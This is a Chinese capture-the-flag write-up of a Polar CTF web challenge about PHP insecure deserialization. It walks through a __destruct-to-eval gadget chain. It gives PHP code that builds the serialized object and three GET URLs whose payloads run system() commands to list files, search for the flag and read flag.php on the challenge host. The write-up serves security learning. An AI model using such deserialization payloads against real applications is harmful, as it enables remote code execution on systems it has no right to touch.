Polar Web【中等】反序列化

Polar Web【中等】反序列化

Contents

思路&探索

一个经典的反序列化问题,本文采用PHP代码辅助生成序列字符串的方式生成 Payload 来进行手动渗透。

  1. 打开站点,分析PHP代码:
    • 可以发现,需要实现触发命令执行的位置在 process 类中的 close 函数的 eval()
    • 能够触发 close() 调用的方式 ------ 创建 example 实例,触发运行结束时 __destruct() 执行
    • 其中,使得成员变量 handle 为所需要的 process 实例,便可形成完整的调用链
  2. 按照上述思路,在本地拷贝两个类,并实现调用链,并调用 echo 输出序列字符串在页面上,具体见下文图中
  3. 按照站点提示,将序列字符串以 data 参数进行 GET 传参:
    • 初次使用 ls 命令,发现已处在根目录下,并未发现flag,故考虑使用命令 find / | grep flag,找出 flag 具体位置
    • 最后下达 cat /var/www/flag.php 命令,虽没有直接回显,查看源码可获取 flag

EXP

PHP生成Payload

php 复制代码
<?php
    class process{
        public $pid;
        function close(){
            eval($this->pid);
        }
    }
	
	$a = new example();
	$a->handle = new process();
	// 	$a->handle->pid = "system('ls');";
	// 	$a->handle->pid = "system('find / | grep flag');";
	$a->handle->pid = "system('cat /var/www/html/flag.php');";
	
	echo serialize($a);
?>



GET传递参数

python 复制代码
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:13:"system('ls');";}}
python 复制代码
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:29:"system('find / | grep flag');";}}
python 复制代码
http://~.www.polarctf.com:8090/?data=O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:37:"system('cat /var/www/html/flag.php');";}}

运行&总结

  • 借用本经典的反序列化题目,记录如何用PHP代码辅助生成所需的序列字符串
  • 找出合适的调用链,是为代码审计之要点

敬,不完美的明天

相关推荐
CIb0la29 分钟前
局部的专业性过高有可能降低(而不是提升)整体的协调性
运维·程序人生·安全·生活
庞德公33 分钟前
CVE-2024-6387漏洞预警:尽快升级OpenSSH
安全·openssh
寰宇视讯40 分钟前
安华金和—可信数据空间助力公共数据授权运营安全有序开展的实践探索
大数据·安全
x-cmd2 小时前
[240704] 苹果获得 OpenAI 董事会观察员席位 | mySCADA myPRO 发现可在设备上远程执行代码漏洞
人工智能·安全·chatgpt·微软·openai·cve·苹果
baozongwi2 小时前
CTF常用sql注入(一)联合注入和宽字节
数据库·sql·web安全
是小王同学啊~3 小时前
防止跨站脚本攻击XSS之Antisamy
web安全·xss
秦矜3 小时前
网络安全技术报告
网络·安全·web安全
会python的小孩3 小时前
SD-WebUI视频重绘:TemporalKit+EbsynthUtility避坑指南
人工智能·tcp/ip·安全·ai作画·stable diffusion·音视频
未知百分百3 小时前
Django任意URL跳转漏洞(CVE-2018-14574)
后端·python·安全·web安全·网络安全·django·shell